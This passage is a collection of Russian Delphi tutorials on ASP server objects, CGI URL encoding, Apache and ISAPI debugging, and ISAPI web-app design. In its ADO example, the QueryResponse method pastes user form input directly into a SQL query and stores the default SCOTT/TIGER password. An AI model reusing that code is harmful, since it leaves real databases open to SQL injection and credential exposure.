Опцию Generate a Template Test Script for this object следует оставлять всегда включенной – Delphi в этом случае создаст небольшой HTML документ, который с небольшими изменениями можно использовать для тестирования ASP сервера.
После заполнения опций диалога следует нажать кнопку OK и после этого будет создан файл реализации интерфейсов Unit1.pas, который следует запомнить под разумным именем – например: U1_01. Кроме того, будет создана библиотека типов, появится ее редактор и файл, описывающий библиотеку типов – в данном примере TEST_TLB.pas. Если была выбрана опция Page Level Events Methods (как в данном примере), то библиотека типов будет содержать два предопределенных метода – OnStartPage и OnEndPage. Также будет создан файл Test.asp, который содержит HTML документ с заготовками VB скриптов для тестирования сервера.
Если заглянуть в файл реализации (U1_01.pas) , то класс ТТest является потомком класса TASPObject. При выборе же опции Object Context библиотека типов не содержит предопределенных методов, а сам класс TTest являлся бы потомком TASPMTSObject. Оба класса-предка TTest содержат абсолютно одинаковые методы и свойста, но класс TASPObject дополнительно содержит пару методов интерфейса IASPObject - OnStartPage и OnEndPage.
Далее, создадим метод, который будет заполнять HTML документ. Для этого в редакторе библиотеки типов (рис 2) отметим интерфейс ITest и вызовем команду New Method нажатием кнопки 1:

Рис. 2. Добавление нового метода к редактору библиотеки типов ASP сервера.
Назовем вновь созданный метод ScriptContent набив этот текст в названии метода с мигающей кареткой. Данный метод не должен иметь параметров. Далее вызовем команду Refresh нажатием кнопки 2. После этого в модуле реализации (U1_01.pas) появится заготовка, где следует описать реализацию. Метод реализуем следующим образом:

procedure TTest.ScriptContent;
begin
  If Assigned(Response) Then Response.Write('First call to ASP server');
End;

в данном примере происходит обращение к методу Write интерфейса IResponse. Проверка Assigned(Response) гарантирует, что в момент записи сообщений имеется ссылка на интерфейс.
После этого следует модифицировать созданный Delphi HTML документ для тестирования сервера, который хранится в файле Test.asp. В этом документе имеется VB скрипт следующего содержания:

<% Set DelphiASPObj = Server.CreateObject("ASP01.Test")
DelphiASPObj.{Insert Method name here}
%>

Скрипт в данном виде работать не будет. Необходимо заменить фразу в фигурных скобках {Insert Method name here} на имя метода ASP сервера, который генерирует отклик. В данном примере это имя ScriptContent. Финальные исправления выглядят следующим образом:

<% Set DelphiASPObj = Server.CreateObject("ASP01.Test")
DelphiASPObj.ScriptContent
%>

Проект необходимо скомпилировать и далее можно приступить к его тестированию. Для этого необходимо создать виртуальную директорию на IIS, причем эта директория обязана иметь разрешение как на Read (из нее будут читаться данные), так и на Execute (из нее будет загружена и запущена ASP01.dll). Альтернатива – разместить эти файлы в разных директориях, одна из которых имеет доступ Read, а вторая – Execute. Но в любом случае выбранные директории должны экспонироваться через HTTP протокол. Поэтому в первую очередь необходимо обратиться к WWW сервису IIS, посмотретьсписок доступных директорий и при необходимости создать новые с соответствующими правами доступа. В данном конкретном примере на компьютере, который имеет IP адрес 10.10.10.65 была создана виртуальная директория /Test, которая соответствует физическому адресу на компьютере C:\ASPTest. Директория имеет доступ на Read и Execute и туда были скопированы оба файла. Далее в Microsoft Internet Explorer следует набрать команду в поле Address: HTTP://10.10.10.65/Test/Test.asp и результат выполнения этого запроса показан на рисунке 1. Видно, что скрипт ( текст между <% и %>) был замещен результатом выполнения метода ScriptContent в ASP сервере.
Рассмотрим теперь подробнее, каким образом выполняется скрипт в странице Test.asp. IIS, который получает запрос на Test.asp он считывает ее содержимое из хранилища, находит скрипт и выполняет ее. При этом в фоне запускается VB и вызывается команда CreateObject. Если ASP01.dll ранее не была загружена, то происходит ее загрузка. Для данного запроса создается COM обьект – экземпляр класса TTest (он описан в модуля реализации, для данного примера - U1_01.pas). Ссылка на интерфейс IDispatch (он поддерживается в классе TTest) сохраняется в переменной DelphiASPObj. В дальнейшем написании кода после имени переменной, хранящей ссылку на IDispatch, можно набирать любой текст. Компилятор VB использует текст, который содержится в скрипте и следует после имени переменной (в данном примере: переменная – DelphiASPObj, метод - .ScriptContent) для того, чтобы передать его ASP серверу. Если ASP сервер найдет метод с данным именем, то он его выполнит. При отсутствии метода с таким именем генерируется исключение. Поэтому при написании скриптов для ASP сервера следует быть внимательным в названиях методов и при наличии исключений в первую очередь проверить корректность имен методов. При вызове какого-либо метода ASP серверу становятся доступные интерфейсы IRequest и IResponse.
Теперь рассмотрим пример создания более сложного ASP сервера, где анализируется запрос клиента при помощи методов интерфейса IRequest. Задачу поставим следующим образом: дадим возможность клиенту найти по фрагменту имени поля ENAME таблицы EMP в базе данных ORCL (генерирует Oracle при установке) . Для этого в каком-либо редакторе форм создадим форму, содержащую однострочный редактор текста и кнопку Submit. HTML документ этой формы выглядит следующим образом:
<html>
<head>
<meta http-equiv="Content-Type"
content="text/html; charset=windows-1257">
<meta name="GENERATOR" content="Microsoft FrontPage Express 2.0">
<title>Untitled Normal Page</title>
</head>
<body bgcolor="#FFFFFF">
<form action="http://10.10.10.65/Test/Test.asp" method="POST"
name="Query">
<p>Name (fragment)<input type="text" size="20"
name="T1"></p>
<p><input type="submit" name="B1" value="Submit"></p>
</form>
</body>
</html>
При реализации этой формы вместо IP адреса 10.10.10.65 следует указать IP адрес компьютера, на котором установлен ASP сервер. Поместим этот документ в директорию C:\ASPTest, которая имеет доступ на Read и Execute (см. выше) под именем Name.htm. Но перед тем, как создавать модуль данных и обращаться к серверу базы данных необходимо выяснить, каким образом анализируется запрос клиента в ASP сервере.
Запрос клиента можно анализировать при помощи вызова методов интерфейса IRequest, ссылка на который находится в свойстве Request класса TASPObject – предка класса, где реализуется ASP сервер. Интерфейс IRequest предоставляет три свойства – QueryString, Form и Body в которых находятся ссылки на интерфейс IRequestDictionary. QueryString содержит параметры запроса, Form содержит список контролей, предоставляемых клиенту, а Body содержит данные, которые клиент ввел на контроли. Нам потребуются данные, поэтомк ниже будет анализироваться свойство Body, но все сказанное ниже о методах IRequestDisctionary применимо и к любому другому свойству типа ICustomDictionary – QueryString, Form.
IRequestDictionary определен в модуле ASPTlb.pas следующим образом:

IRequestDictionary = interface(IDispatch)
  ['{D97A6DA0-A85F-11DF-83AE-00A0C90C2BD8}']
  function Get_Item(Var_: OleVariant): OleVariant; safecall;
  function Get__NewEnum: IUnknown; safecall;
  function Get_Count: SYSINT; safecall;
  function Get_Key(VarKey: OleVariant): OleVariant; safecall;
  property Item[Var_: OleVariant]: OleVariant read Get_Item; default;
  property _NewEnum: IUnknown read Get__NewEnum;
  property Count: SYSINT read Get_Count;
  property Key[VarKey: OleVariant]: OleVariant read Get_Key;
end;

Документация о свойствах этого интерфейса отсутствует и остается только догадываться, каким образом из него можно извлечь параметры запроса введенные пользователем. Привлекая документацию по компоненту TWebDispatcher, который используется при создании CGI приложений и ISAPI DLL, где также можно анализировать параметры запроса пользователя, можно догадаться что свойство Count содержит число контролей на форме - для формы сделанной выше в Name.htm оно равно 2 . Свойство Key – имя контролей - для формы в Name.htm это имена T1 (текст) и B1 (кнопка). И, наконец, свойство Item содержит введенные пользователем значения. И все эти рассуждения правильные. Но реализовано все это настолько поразительно криво. Поскольку файл ASPTlb.pas представляет собой перевод соответствующего *.h C++ файла, распространяемым Microsoft, претензии по его реализации следует адресовать этой компании.
Свойство Count работает как положено – возвращает двойку для примера выше. Но при попытке извлечь имя ключа обнаруживается неприятная особенность – в коллекции Key[] индексы начинаются с единицы, а не с нуля, как это принято в подобного типа приложениях. Все же обращаясь к коллекции Key с соответствующим индексом – 1 или 2 для примера выше можно получить названия контролей в виде строковых переменных. Аналогичная попытка извлечь данные, введенные пользователем в контроли, ни к чему хорошему ни приводят – при попытке присвоить строковой переменной значения из коллекции Item[] (которая обьявлена аналогична коллекции Key[]) происходит исключение. Анализируя значение, возвращаемое коллекцией Item[I] можно обнаружить, что возвращается интерфейс - потомок IDispatch. Методы и свойства этого интерфейса не описаны. Отсутствие описания интерфейса а также возврат ссылки на него в переменной типа OLE variant, а не IDispatch характерно для продуктов, которые находятся в процессе разработки. При разработке заголовки методов интерфейса, список параметров методов и их число постоянно меняется и чтобы не происходили исключения в клиентных приложениях, часто используют позднее связывание. Этот факт настораживает – не исключена возможность изменения методов интерфейса в будущем и это может привести к потере работоспособности созданных ранее ASP серверов. Но будем надеяться, что данный интерфейс устоялся и Microsoft вследствии занятости просто забыл внести изменения в интерфейсный модуль и дать его документацию.
Интерфейс - потомок IDispatch два свойства: Count, которое возвращает всегда 1 и Item[] – коллекцию, которое возвращает текст, введенный клиентом в контроле. Коллекция Item начинается с индекса 1. Для понимания и тестирования запроса в ASP сервере сделаем небольшое дополнение к проекту. Воспользовавшись редактором библиотек типов создадим новый метод RequestProp, как это было описано ранее (Рис. 2). Напишем следующий код для метода RequestProp:

procedure TTest.RequestProp;
var
  S: string;
  V: OLeVariant;
  I, J, N: integer;
begin
  S := '';
  if Assigned(Request) then
    if Request.Body.Count > 0 then
      begin
        for I := 1 to Request.Body.Count do
          begin
            S := S + 'Key' + IntToStr(I) + '=' + Request.Body.Key[I] + '<BR>';
            V := Request.Body.Item[I];
            if not VarIsEmpty(V) then
              if varType(V) = varDispatch then
                begin
                  N := V.Count;
                  S := S + 'ItemCount' + IntToStr(I) + '=' + IntToStr(N) + '<BR>';
                  if N > 0 then
                    for J := 1 to N do
                      S := S + V.Item[J] + '<BR>';
                end;
          end;
      end;
  if Assigned(Response) then Response.Write(S);
end;

Скомпилируем проект и в созданном ранее файле Test.asp изменим VB скрипты следующим образом: вместо строки DelphiASPObj.ScriptContent напишем строку DelphiASPObj. RequestProp. После этого в Internet Explorer следует обратиться к Name.htm следующей командой: http://10.10.10.65/Test/Name.htm, где вместо 10.10.10.65 следует набрать IP адрес сервера. В полученной форме (рис. 3)

введем какое-либо значение в редакционный контроль и нажмем кнопку Submit. После этого получим результат выполнения приведенного выше кода метода RequestProp:

Key1=T1
ItemCount1=1
AM
Key2=B1
ItemCount2=1
Submit

То есть для определения параметров, введенных клиентом в какой-либо контроль, необходимо просмотреть все ключи, найти индекс интересуемого нас контроля (в данном примере он 1, что соответствует ключу T1) и извлечь значение, введенное клиентом, посредством вызова команды Request.Body.Item[Index].Item[1].
Теперь можно перейти к модификации имеющегося сервера - создание нового метода для доступа к базам данных. На него необходимо поместить невизуальные компоненты доступа к данным, визуальные компоненты нельзя использовать в ASP сервере. Вообще, в приложениях такого типа – ASP, ISAPI/NSAPI, CGI показ модальных форм с контролями (а диалоги – частный вид таких форм) ни к чему хорошему не приводит. При попытке показать диалог, контроли на диалоге будут созданы, на них будет помещен текст и\или картинки и приложение будет ожидать, когда диалог будет закрыт (нажатием кнопки OK или Cancel) чтобы продолжить свою работу. Особенность заключается в том, что диалог невидим. Поэтому его нельзя закрыть ни нажатием кнопок (они не получают сообщения OnClick) ни акселератором (сигналы с клавиатуры не посылаются невидимым контролям). Визуально программист наблюдает следующее – приложение висит, отклик с ASP сервера клиент не получает и для повторной компиляции проекта требуется перезагрузка системы. Даже если команды показа диалогов отсутствуют в ASP сервере, они могут быть показаны в процессе работы приложения – например, BDE пришлет сообщения об ошибке. Поэтому данный факт надо принимать во внимание при написании кода, где необходимо тщательно проверять данные перед их использованием, чтобы внешние приложения не сообщали об ошибках.
Традиционно доступ к данным очуществляется через BDE, при этом необходимо использовать компонеты TSession, TDatabase и TQuery. Однако, при обращении к данным в ASP сервере, выяснилось, что BDE нельзя использовать для доступа к SQL серверам. Исключение происходит при попытке соединиться с базой данных после передачи login параметров. Из серверов тестировались Oracle и Interbase. Через BDE удалось получить доступ только к DBDEMOS, которая не требует аутентификации пользователя при обращении к данным.
К счастью, в Delphi5 появилась альтернативный способ доступа данных – через ADO (Active Data Objects). Для работы с ADO прежде всего необходимо использовать компонент TADOConnection. Поставим его на форму. В инспекторе обьектов выберем свойство ConnectionString и вызовем диалог для создания строки. В предложенном диалоге выберем Microsoft OLE DB Provider for Oracle и нажмем кнопку Next (рис. 4).

Рисунок 4. Установление параметров для ADO соединения с Oracle сервером.
На второй странице диалога необходимо указать имя сервера (в данном примере – beq-local) и параметры аутентификации – имя пользователя (SCOTT) и пароль (TIGER). Обязательно ставится метка в Allow Saving Password контроле – иначе ASP сервер попытается показать Login диалог! Протестировать соединение можно нажатием кнопки Test Connection – должно быть сообщение об успешном соединении с сервером.
Далее в инспекторе обьектов необходимо свойство LoginPromp в False. При работе с другими примерами необходимо также изменять свойство DefaultDatabase – имя базы данных, но для данного примера это не обязательно. Проверить правильность установок можно при помощи изменения свойства Connected в True, при этом не должен появить Login диалог или информация об исключении.
Поставим компонент TADOQuery на модуль данных и в свойстве Connection сошлемся на определенный выше компонент ADOConnection1.
Модуль данных, на которые можно помещать невизуальные компоненты, не создается автоматически при вызове эксперта для создания ASP сервера,. Поэтому его необходимо создавать отдельно. Вызовем команду File/New/Data Module добавим модуль данных к проекту. Запомним вновь созданный файл под именем U1_02.pas. Следует учесть, что созданный модуль данных не будет создаваться автоматически при старте приложения или при обращении клиента. Поэтому необходимо переписать конструктор и деструктор класса TTest, реализация которого находится в файле U1_01.pas. Сошлемся на модуль U1_02.pas в модуле U1_01.pas. В обьявлении класса TTest в секции private определим переменную FData типа TDataModule1. В секции public обьявим процедуры AfterConstruction и BeforeDesctruction c обязательной директивой override:

TTest = class(TASPObject, ITest)
private
  FData: TDataModule1;
protected
  …
  public
  procedure AfterConstruction; override;
  procedure BeforeDestruction; override;
end;
реализуем процедуры AfterConstruction и BeforeDestruction в секции реализации:
procedure TTest.AfterConstruction;
begin
  inherited;
  FData := TDataModule1.Create(nil);
end;

procedure TTest.BeforeDestruction;
begin
  if Assigned(FData) then
    begin
      FData.Query1.Active := False;
      FData.ADOConnection1.Connected := False;
      FData.Free;
    end;
  inherited;
end;

Далее следует создать новый метод в библиотеке типов (рис. 2), назовем его QueryResponse. Реализуем его следующим образом:

procedure TTest.QueryResponse;
var
  S: string;
  I, J: integer;
begin
  S := Request.Body.Item[1].Item[1];
  if FData.ADOQuery1.Active then FData.ADOQuery1.Close;
  FData.ADOQuery1.SQL.Clear;
  FData.ADOQuery1.SQL.Add('Select * from EMP');
  FData.ADOQuery1.SQL.Add('where ENAME like ''%' + S + '%''');
  FData.ADOQuery1.Active := True;
  if FData.ADOQuery1.RecordCount > 0 then
    begin
      FData.ADOQuery1.First;
      for J := 0 to FData.ADOQuery1.Fields.Count - 1 do
        Response.Write(FData.ADOQuery1.Fields[J].FieldName + ' ');
      Response.Write('<BR>');
      for I := 1 to FData.ADOQuery1.RecordCount do
        begin
          for J := 0 to FData.ADOQuery1.Fields.Count - 1 do
            Response.Write(FData.ADOQuery1.Fields[J].AsString + ' ');
          Response.Write('<BR>');
          if I < FData.ADOQuery1.RecordCount then FData.ADOQuery1.Next;
        end;
    end;
end;

В этом методе динамически создается SQL запрос, при этом используются параметры, введенные клиентом в форму на рисунке 3. С этим запросом происходит обращение к SQL серверу и возвращаемые данные помещаются в HTML документ. В созданном ранее файле Test.asp изменим VB скрипты следующим образом: вместо строки DelphiASPObj.ScriptContent напишем строку DelphiASPObj. QueryResponse. После этого в Microsoft Internet Explorer обращаемя к странице Name.htm, как это показано на рисунке 6. Результат выполнения запроса приведен на рисунке 5:

Рисунок 5. Результат обращения ASP сервера к Oracle серверу.
При использовании ASP сервера можно поместить параметры, необходимые для его работы, в HTML документ. Эти параметры могут редактироваться в документе и, таким образом, можно изменять опции под конкретный сайт. Это является удобным при распространении ASP сервера: купившая его компания может изменить начальные установки так, что они отвечают требованиям компании. Для этого достаточно отредактировать HTML документ, что может быть сделано при использовании специалистов низкой квалификации. Пример проиллюстрируем следующим образом: определим в заговке класса TTest (U1_01.pas) две переменные: FCompanyName:string и FCopyrightYear:string; Определим в библиотеке типов (рис 2) два новых свойства: CompanyName:string и CopyrightYear:integer. На методы *Read и *Wirte для этих свойств определим чтение и возврат данных из описанных выше переменных. Добавим новый метод в библиотеку типов ShowCopyright, который реализуем следующим образом:

procedure TTest.ShowCopyright;
var
  S: OLEVariant;
begin
  S := Format('Copyright (C) %d by %s', [FCopyrightYear, FCompanyName]);
  if Assigned(Response) then Response.Write(S);
end;

В созданном ранее файле Test.asp изменим VB скрипты:

<% Set DelphiASPObj = Server.CreateObject("ASP01.Test")
DelphiASPObj.CompanyName = "My Company"
DelphiASPObj.CopyrightYear = 1999
DelphiASPObj.ShowCopyright
%>

Результатом обращения к ASP серверу при помощи команды: http://10.10.10.65/Test/Test.asp (вместо 10.10.10.65 следует выбрать IP адрес сервера) будет генерация следующей страницы (рис. 6):

Рисунок 6. Чтение и показ ресурсов в HTML документе Если в файле Test.asp изменить имя компании – а это можно сделать при помощи любого текстового редактора, то все изменения будут отражаться в HTML документе. В заключении следует рассмотреть out-of-process ASP сервера. Эти сервера реализуются в *.exe приложениях и работают они в отдельном адресном пространстве. До сих пор рассматривались in-process сервера, которые работают в адресном пространстве IIS и реализуются в динамически загружаемых библиотеках – DLL. Для их создания необходимо открыть готовый проект, компиляция которого приводит к созданию *.exe файла или создать новый проект посредством вызова команды File/New Application. После этого необходимо выполнить команду File/New/ActiveX/Active Server Object. Будет создана библиотека типов, содержащая методы OnStartPage и OnEndPage.Все, что было сказано выше для in-process сервера применимо и к out-of-process: делаются новые методы и из вызываются из VB скриптов *.asp страницы. Сложности возникают при попытке протестировать out-of-process сервер. По умолчанию параметры IIS установлены таким образом, что запрещают запуск приложений: разрешен запуск только DLL. Более того, в администраторе IIS отсутствует опция, которая позволяет разрешить или запретить использование приложения, как ASP сервера. Для того, чтобы разрешить запуск исполняемого файла, как ASP сервера, необходимо выполнить следующий VB скрипт: Set oWebService = GetObject("IIS://LocalHost/W3svc") oWebService.Put "AspAllowOutOfProcComponents", True oWebService.SetInfo Для того, чтобы он был выполнен, необходимо, чтобы текущий пользователь имел статус администратора. По этой причине данный скрипт бесполезно определять в HTML документе и запускать его, используя IE: любой пользователь интернета имеет статус гостя. Данный скрипт необходимо поместить в обработчик какого-либо события в среде разработке VB и запустить его оттуда. Я не сумел сделать аналог данного скрипта в Delphi: не найден метод, аналогичный методу VB GetObject. Очевидно, что метод GetObject возвращает ссылку на IDispatch IIS. Но при этом в качестве параметра он использует строку, которая не является классовой (GUID отсутствкует в системном реестре). В Delphi аналогичные методы отсутствуют, по крайней мере, в виде простых вспомогательных функций. Возможно данный метод станет доступным в следующих версиях Delphi.

Взято из http://forum.sources.ru


Кириллица в параметрах CGI-запроса

Вопрос: Я хочу реализовать регистрацию своей программы через Internet. Для этого я вызываю CGI-скрипт, которому в качестве параметра передается имя пользователя. Однако, если имя набрано кириллицей, происходит ошибка. В чем дело?

Дело в том, что при передаче запроса по протоколу HTTP служебные символы и символы с кодами 128..255 надо кодировать. То есть, если пользователь ввел имя 'Вася Пупкин', то запрос для регистрации должен выглядеть не так:

     http://site/cgi-bin/reg.pl?user=Вася Пупкин

а вот так:

     http://site/cgi-bin/reg.pl?user=%C2%E0%F1%FF+%CF%F3%EF%EA%E8%ED

Решить проблему перекодировки туда и обратно может компонент TNMURL.

DK: Дополнительную информацию про кодирование URL'ов, можно прочитать в RFC1738

Взято с http://delphiworld.narod.ru


How to debug an Apache Shared Module

I am running Apache on Windows and want to know how to debug Apache Shared Modules?

It is a straight forward task to debug Shared Modules in Delphi. The only thing that needs to be done is to set the Host Application and Parameters for the Shared Module's Project. From the Delphi menu bar go to Run | Parameters. Set the Host Application to point to Apache.exe, and specify the following parameters: -X -w -f "c:\path tohttpd.conf".

When you run the project be sure that IIS is not running. If you need IIS to run while Apache is running then change the Port value stored in httpd.conf.


How to turn off ISAPI DLL caching on Windows 2000 and IIS5

You may want to turn off DLL caching to allow you to better debug ISAPI DLL's. Note that if you do turn it off, it is best to turn it back on when you are ready to use your DLL as it greatly improves performance.

Click on Start->Settings->Control Panel->Administrative Tools->Internet Services Manager. Right click on your website and select Properties:

[IIS Manager Screen Shot]

Select the "Home Directory" tab, and click on Configuration...:

[Configuration]

Uncheck "Cache ISAPI applications":

[uncheck cache extensions]


Корпоративное Web приложение

На сегодняшний день, создание внутренних корпоративных веб-приложений уже, пожалуй, не просто дань моде, когда все, что так или иначе связано с интернетом считалось популярным и прогрессивным. Нынче менеджеры стали более скупы в раздаче финансов для IT-отделов. Но вместе с тем приходит понимание, что бизнес-приложения предприятий перенесенные на новую технологическую "веб-оснастку" действительно значительно уменьшают издержки по поддержанию данных приложений в актуальном состояние в дальнейшем. Вот краткий перечень достоинств, которыми обладают корпоративные веб-приложения:

не требуют инсталляции и обновления клиентского программного обеспечения;
снижают затраты на обучение - в качестве клиентской части используется стандартный веб-броузер;
пользователи могут работать на любой платформе;
логика приложения сосредоточена на стороне сервера;
возможность интеграции с ресурсами интерета;
создание сколь угодно привлекательного веб-интерфейса.
Если мы будем рассматривать веб-приложения с точки зрения программиста, то представить их можно как некий особый класс систем клиент-сервер, в которых взаимодействие с пользователем осуществляется через стандартный веб-броузер. Если сравнивать структуру веб-приложения и классического приложения, основанного на технологии клиент-сервер, то можно охарактеризовать составляющие компоненты следующим образом:

В роли "тонкого клиента", которые отвечает за отображения данных и передачу их от пользователя серверу, выступает броузер. Пользовательский интерфейс всецело определяется HTML-документом, со всеми возможными дизайнерскими ухищрениями.
Веб-сервер обеспечивает работу по протоколу HTTP, принимает запросы от клиента, взаимодействует непосредственно с веб-приложением, передает ответы клиенту. Веб-приложение - программа, которая, используя веб-сервер, обрабатывает запросы от клиента, производит необходимые манипуляции с данными, передает ответы клиенту.
Давайте на практическом примере разберем все стадии создания законченного веб-приложения стандартными средствами Delphi 5. О том, насколько расширился диапазон компонентов для веб-приложений в новой версии Delphi 6, мы поговорим отдельно, и в конце цикла статей.

Подобная тема уже рассматривалась на нашем сайте. Смотрите материал "Создание web-приложений в среде Delphi" (www.mcsa.ru/d2.shtml), где достаточно подробно разбирался вопрос, как обычное консольное приложение, созданное в Delphi, без использования визуальных компонентов "превратить" в приложение для веб-сервера. Но сейчас мы рассмотрим создание веб-приложения с использованием специализированных компонентов Delphi.

Создать подобное приложение в Delphi не сложнее, чем стандартную визуальную программу для Windows. Что бы создать новое веб-приложение в Delphi 5, следует выбрать пункт Web Server Application. При этом существуют три различных варианта реализации приложения:

ISAPI/NSAPI Dynamic Link Library
CGI Stand-alone executable
Win-CGI Stand-alone executable
Тут нам придется обратиться к теории, чтобы четко представлять себе разницу между тем или иным типом веб-приложений. Вообще стандартная функциональность веб-сервера, это передача клиенту статических фалов по протоколу HTTP. Но чаще всего требуеться, чтобы информация, поступающая клиенту формировалась динамически. Для того чтобы веб-сервер мог получить, и соответственно передать от приложения данные клиенту, используют интерфейсы веб-сервера.

В общем случае их всего два: API (Application Program Interface - программный интерфейс приложений) и CGI (Common Gateway Interface - общий интерфейс шлюзов). Интерфейс типа API представляет собой традиционный программный интерфейс, вполне привычный для программистов использующих Delphi. При его использование нужно создать динамически загружаемый программный модуль, в котором должен быть реализован набор стандартных функций или классов операционной системы. Но помимо этого, возможно, использовать функции, которые предоставляет веб-сервер. К данному типу можно отнести интерфейсы ISAPI, NSAPI, WSAPI, Apache API, Java Servlet API и другие.

При создание рассматриваемого нами веб-приложения, будет использоваться интерфейс ISAPI, так как именно он реализован в MS IIS (Microsoft Internet Information Server). А именно этот веб-сервер от Microsoft, разумнее всего использовать для поддержки корпоративного веб-приложения. Но обо всем по порядку.

ISAPI (Internet Server Application Programming Interface) - программныей интерфейс, разработанный для сервера. ISAPI изначально был создан как Microsoft Information Server API, но в дальнейшем был предложен в качестве открытого стандарта. С помощью ISAPI возможно создавать два типа динамических модулей для веб-сервера: непосредственно обработчики событий и фильтры.

Обработчик событий представляет собой библиотеку DLL (Dynamic-Link Library), которая загружается и вызывается веб-сервером. Обработчик вызывается веб-сервером при получение клиентского запроса с URL, типа http://server/myapp.dll?запрос. При этом IIS вызывает библиотеку myapp.dll и передает ей параметр "запрос".

Работа обработчика запросов ISAPI происходит в следующей последовательности:

При получение первого клиентского запроса загружается соответствующая dll, создается и инициализируется объект типа CHttpServer.
Для каждого конкретного запроса создается отдельный объект CHttpServerContext. Непосредственно для обработки запроса вызывается метод объекта CHttpServer, которому в качестве параметра передается указатель на CHttpServerContext. При этом, для каждой dll существует только один экземпляр CHttpServer, методы которого исполняются в адресном пространстве веб-сервера одновременно в нескольких потоках, при чем переменные объекта CHttpServer доступны для них всех. Сам объект CHttpServer не выгружается из памяти даже при прекращение выполнения запросов и доступен в течение всего времени работы веб-сервера.
ISAPI-фильтр - это dll, которая загружается на при первом запросе от клиента, а непосредственно при старте IIS и вызывается для обработки определенных событий, возникающих при обращение клиента к веб-серверу. Это может быть как предварительная обработка заголовка клиентского запроса (например на корректность передаваемых данных), действие при ошибочных ситуациях (выдача ошибки 404 File Not Found или др.), авторизация клиента, запись данных в журнал веб-сервера и т.п. Создание ISAPI-фильтра ничем не отличается от создания стандартного ISAPI-приложения. Необходимо будет лишь указать IIS, что та или иная dll является ISAPI-фильтром.

Интерфейс CGI отличается от рассмотренного выше. Принцип его работы сводиться к следующему: веб-сервер запускает внешнею программу (являющуюся веб-приложением) в отдельном процессе операционной системы. При этом сервер устанавливает ряд переменных окружения с которыми взаимодействует приложения. Стандартно это заголовок HTTP-запроса, адрес запрашиваемого документа, строка параметров, в которой могут, к примеру, содержаться данные передаваемые из броузера пользователем и ряд других. Запущенное приложение анализирует данные переменные и в соответствии с внутренней логикой выдает HTTP-заголовок, которые и возвращается клиенту веб-сервером. Время жизни CGI-программы ограничено временем обслуживания пользовательского запроса, по окончанию его выполнения процесс завершается. При этом для каждого отдельного запроса запускается копия веб-приложения. Данные приложения не могут взаимодействовать друг с другом и не имеют программной связи с веб-сервером.

Если сравнивать CGI и API, вернее непосредственно ISAPI, то можно увидеть их достоинства и недостатки. Причем верна такая парадоксальная мысль, что в определенных условиях и для конкретных задач, недостатки одного или другого интерфейса легко "трансформируются" в достоинства. На данный момент CGI наиболее распространенный интерфейс и его поддерживают практически все веб-сервира без необходимости установки дополнительных модулей. CGI-программа может создаваться с использованием любого языка и средства разработки, поскольку запускается как независимый от веб-сервера процесс и строго говоря, зависимо только от операционной системы.

Преимуществом создания веб-приложений с использованием CGI является их относительная большая надежность и безопасность для веб-сервера, так как они выполняются независимо и даже в случае краха вряд ли могут привести к нарушению функциональности веб-сервера в целом. Веб-приложения использующие CGI обладают и рядом недостатков. При обработки большого количества запросов, веб-сервер испытывает значительные нагрузки, так как для каждого запроса необходимо отдельно заново запускать приложение. К тому же не имеется возможности взаимодействовать с данными, поступающими от других запущенных приложений и веб-сервера (кроме переменных окружения), что не позволяет создать достаточно масштабные и сложные проекты.

Основным преимуществом использования ISAPI можно считать то, что они, взаимодействуя с веб-сервером и объектами запросов поступающих от других пользователей позволяют создавать многопользовательские приложения. Это особенно важно при создание многопользовательских приложений работающих с базами данных и имеющих сложную логику. В качестве примера можно привести чаты, где например каждый обработчик событий может обращаться к общему для всех запросов списку сообщений. Или интернет-магазин использующий список выбранных в корзину товаров. Главнй недостаток ISAPI, что данный интерфейс поддерживается исключительно сервером MS ISS. Кроме того, при некорректной работе ISAPI-приложения возможны сбои в работе всего веб-сервера.

Еще одна существующая угроза, заключена в следующем: ввиду того, что IIS весьма часто подвергается хакерским атакам и вообще не очень надежный сервер использовать его как полноценные веб-сервер вне корпоративной сети, скорее всего не стоит. Но в том случае, если IIS будет использован как внутренний корпоративный веб-сервер, с использованием веб-приложений - это практически идеальный вариант.

Почему мы все же выбираем ISAPI-приложение, если есть возможность создания (и средствами Delphi в том числе) приложенный для CGI, ASP и т.д.? Дело в том, что подобные веб-приложения быстрее и требуют меньших ресурсов. Веб-приложение основанное на ISAPI многопоточно, и для обработки запроса клиента не требуется загрузки еще одной копии приложения. По сравнению с тем же пресловутым ASP, они имеют гораздо больший перечень функциональных возможностей. Например, можно использовать все множества функций Win32 API без необходимости писать для этого COM-объекты и существенно выигрывают по скорости, за счет того, что их код уже откомпилирован и оптимизирован. Веб-приложения основанные на ISAPI кроме того легко создаются из любого уже существующего приложения. Если оно было написано на Delphi, то все может совестить к тому, чтобы заменить визуальные объекты на специальные веб-компоненты, не переписывая ту часть, где сосредоточена сама логика приложения, и его работа, например с базами данных.

В следующей части материала мы определим непосредственно логику приложения и структура баз данных. А также создадим веб-интерфейс приложения и рассмотрим особенности модуля Delphi WebModule.

Теперь настал черед использовать полученные навыки на практике.

Так как мы будем создавать ISAPI-приложение, то соответственно необходимо, чтобы на компьютере был установлен IIS. В Windows 9.xx он также именуется как Personal Web Server и находиться обычно в папке PWS инсталляционного диска. Для установки IIS в Windows 2000 необходимо выбрать компоненты служб IIS при установке или добавление компонентов Windows.

Для создания ISAPI-приложения в Delphi необходимо создать новый проект Web Server Application. Как видите по умолчанию сразу же доступен специальный модуль WebModule. Он является обязательным и дает возможность веб-приложению ответить на запрос HTTP, пропуская запрос и ответ к соответствующим обработчикам ActionItems. Приложение может содержать только один WebModule.

Так как это основной объект, с которым придется работать, создавая веб-приложение, стоит рассмотреть WebModule подробнее. К главным событиям WebModule относятся:

OnCreate
Это событие происходит в тот момент, когда приложение создает WebModule. Чаще всего его следует использовать для инициализации переменных и объектов, содержащихся в приложении.
OnDestroy
Происходит перед уничтожением WebModule. Здесь желательно производить освобождение объектов, созданных динамически в приложении.
BeforeDispatch
Событие происходит перед тем, как диспетчер устанавливает соответствие запроса HTTP с ActionItems.
AfterDispatch
Происходит после того, как HTTP ответ был успешно сформирован ActionItems, но еще не передан клиенту.
Создавая ISAPI приложения, нужно помнить, что объект WebModule может быть создан один раз и не создаваться при каждом запросе, следовательно, не будут генерироваться события OnCreate и OnDestroy объекта WebModule.

WebModule имеет два важных свойства Request и Response, с помощью которых принимает и передает данные IIS. Response - автоматически создаваемый объект WebModule, содержащий информацию, которая будет передана клиенту, в результате обработки запроса. После того как все свойства Response будут заполнены, будет сформирован HTTP ответ, который и будет передан клиенту.

Среди свойств объекта Response существуют следующие:

ContentType
